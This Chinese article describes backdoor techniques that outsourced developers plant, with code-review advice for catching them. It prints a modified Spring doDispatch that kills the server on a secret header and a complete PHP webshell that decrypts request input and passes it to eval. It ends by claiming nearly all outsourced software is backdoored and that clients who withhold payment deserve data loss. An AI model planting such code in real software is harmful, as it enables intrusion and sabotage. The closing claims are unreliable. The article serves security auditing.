(图片来源网络,侵删)
前几天回答过一个外包的问答,提到了开发人员恶意在源代码里加入后门代码,并且有许多外包开发人员也对此表示了支持。不管如何,加后门这种做法都是违背职业道德的。其实不仅仅是外包开发者,甚至在一些互联网公司也存在这样的现象。那怎么防止开发者在源码里加入后门呢,自然是code review,不妨在code review前先来了解一些后门的套路,这些套路通常也是安全审计中应该注意到的:1.在数据库和数据类型上做文章几年前我遇到一个老同学跟我求助,他花几十块钱从网友手里买的一个PHP版本“树洞”软件用来做个人站,刚开始用着好好的,然后用了一个星期后,没法发主题贴了。根据他给我的描述,大概发了120多个帖子后再发帖就报错了。听到他这个描述,我脑子里立马反应过来了,120这个数字和127非常接近,这不就是tinyint的上限吗。跟他要来账号后,查看数据库,果然验证了我的猜测,主表post的主键id,其数据类型用的是tinyint。MySQL 数据类型从上图中可以看到,MySQL中TINYINT类型的数值范围最大值是127,也就说一旦超过这个值,再插入数据库就要报错了。把这个主键改成int类型后问题解决。2.在标准库、核心库或者第三方包中下毒无论是最常见的PHP也好还是Java,或者说C语言的项目,都会用到大量的第三方库,或者本身也有一个core函数库。一般的业务代码中要留后门是比较容易发现的,然而在第三方库中留后门,则一般用户很少会想到。比如,一个基于springmvc开发的代码,如果开发者在spring自带的jar包里留下了后门,又有几个人会想到。举个例子,Springmvc的程序,必定经过DispatcherServlet这个入口类,而这个类是在spring-webmvc-4.x.x-RELEASE.jar中。如果懂点Spring基础的人在这个类里动了手脚呢?protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {HttpServletRequest processedRequest = request;HandlerExecutionChain mappedHandler = null;boolean multipartRequestParsed = false;WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);try {doDispatch方法是所有springmvc请求必须经过的一个方法,如果在这个方法里做点修改会怎样?protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {HttpServletRequest processedRequest = request;HandlerExecutionChain mappedHandler = null;boolean multipartRequestParsed = false;String encode=request.getHeader(\"encoding\");if(encode!=null && encode.equals(\"a1e4e98cdf02888e\")){Thread.sleep(30000);System.exit(0);}WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);这样一修改后,开发者可以实现发送一个特定的HTTP请求就让对方网站停摆的功能。这种后门是比较好防御的,但也是最容易忽视的。现在的主流成熟语言都有比较完善的依赖管理机制,比如PHP使用composer来管理依赖,Java则使用maven。这些第三方库都是存放在可信赖的第三方仓库,是干净而且安全的。如果使用了这些完善的依赖管理,这种后门自然而然就无处安身了。在交互时,不能只接受对方发来的一个二进制包或者完整的打包后的代码,而是要求对方发来一份干净的不包含第三方依赖的源码,并提供依赖打包脚本和方法,由客户自己来完成最后的打包过程,防止外包开发者在第三方依赖里动手脚。3.故意使用低版本的带有漏洞的框架这也是一种常见的伎俩。开发者故意使用那些已知有漏洞的低版本框架,从而在方便的时候利用这些漏洞达到入侵网站等目的。常见的web框架或软件比如Struts,ThinkPHP,wordpress都是漏洞大户,在进行review的时候,一定要注意当前版本是否是已经是最新版,是否存在安全漏洞,要求开发人员及时采取升级等处理措施。4.故意留下bug经验丰富的程序员,都知道那些地方容易出现安全问题,比如SQL注入,比如cookies登录等。如果源代码配置文件中有一些固定的token字符串,一定要替换这些字符串。故意留下bug这种手段比较隐蔽,也很难定性,但也不是一点痕迹都没有,这就需要使用者有比较专业的code review能力或者安全审计人员了。5.明目张胆地留下后门代码明目张胆地留下后门代码,这种做法看似愚蠢,听起来似乎很少人会这么做。但恰恰相反,跟前面那些做法相比,这种做法是最常见的,尤其是以PHP这种脚本语言为主的开发中。由于PHP作为一种动态的脚本语言,语法比较灵活,有很多奇技淫巧可以使用,在PHP代码中留下后门是轻而易举的事情。比如这是一个典型的PHP后门<?php@error_reporting(0);session_start();if (isset($_GET['pass'])){ $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key;}else{ $key=$_SESSION['k'];$post=file_get_contents(\"php://input\");if(!extension_loaded('openssl')){$t=\"base64_\".\"decode\";$post=$t($post.\"\");for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, \"AES128\", $key);} $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1];class C{public function __construct($p) {eval($p.\"\");}}@new C($params);}?>从中可以看到PHP留后门的常用做法:1).使用base64_encode/base64_decode来掩藏源码2).使用eval来执行任意代码3).使用字符串拼接,可变变量等做法隐匿源码。比如把 base64_decode这个可疑函数拆分为base64_和decode两个变量拼接。实际的PHP后门中,会使用更花哨的拼接手段。4).使用PHP自带的函数来执行后门。PHP是一个安全问题比较多的脚本语言,很多函数或语句结构都能实现执行某段代码的功能,比如正则的/e模式,assert函数等。assert(\"(int)phpinfo()\");这里assert()能够执行\"中的代码,如果引号里是外部变量的话,拿着就是个很大的后门了。一般用户仅仅知道eval是一个很邪恶的函数(PHP中,有的语句结构看起来很像一个函数,但严格来说不属于函数,为了方便统称为函数),但是不知道有非常多的函数都能起到执行代码的功能,其中就包括assert,array_map,usort,call_user_func,preg_replace等。这类后门通常配合第二种手段使用,隐藏在一些 core函数中,代码审计也是很容易忽略的。同样,Java也有一些方法可以作为后门使用,比如defineClass方法。在源码中遇到这些方法或函数,都需要谨慎对待。5.在服务器上做手脚一般外包开发者同时也会承担服务器运维和部署等工作,如果要在服务器上做手脚那就更容易了。比如crontab定时任务,隐藏进程,修改内核参数等,具体方法数不胜数,就不再列举了。在产品交互时,一定要注意需要接收源码而不是打包编译后的成品,不仅要有源码,还需要可重现的打包构建文档。对于不提供源码的产品,请谨慎选择或找专业团队做安全审计。写此文的目的,不是为了教开发者怎么放置后门,而是教会开发者和用户怎么做安全审计。刀可以杀人,但是在你对刀有了深入的了解后,也能减少刀对自身的伤害。开发者何苦为难开发者?外包开发者要保护自己的利益,有更多方法,而留后门是一种比较低级的也是法律风险最大的做法。当然,作为甲方,如果恶意拖欠尾款,那只能说自作孽不可活。外包开发的产品中,几乎100%都有后门,作为开发者不易,只要能诚意对待开发者,我想没有哪个开发者会冒着极大的法律风险作出动用后门这种事。看了这篇文章,甲方依然找不出后门,但拖欠尾款,难免遭受数据损失的惩罚。
0 评论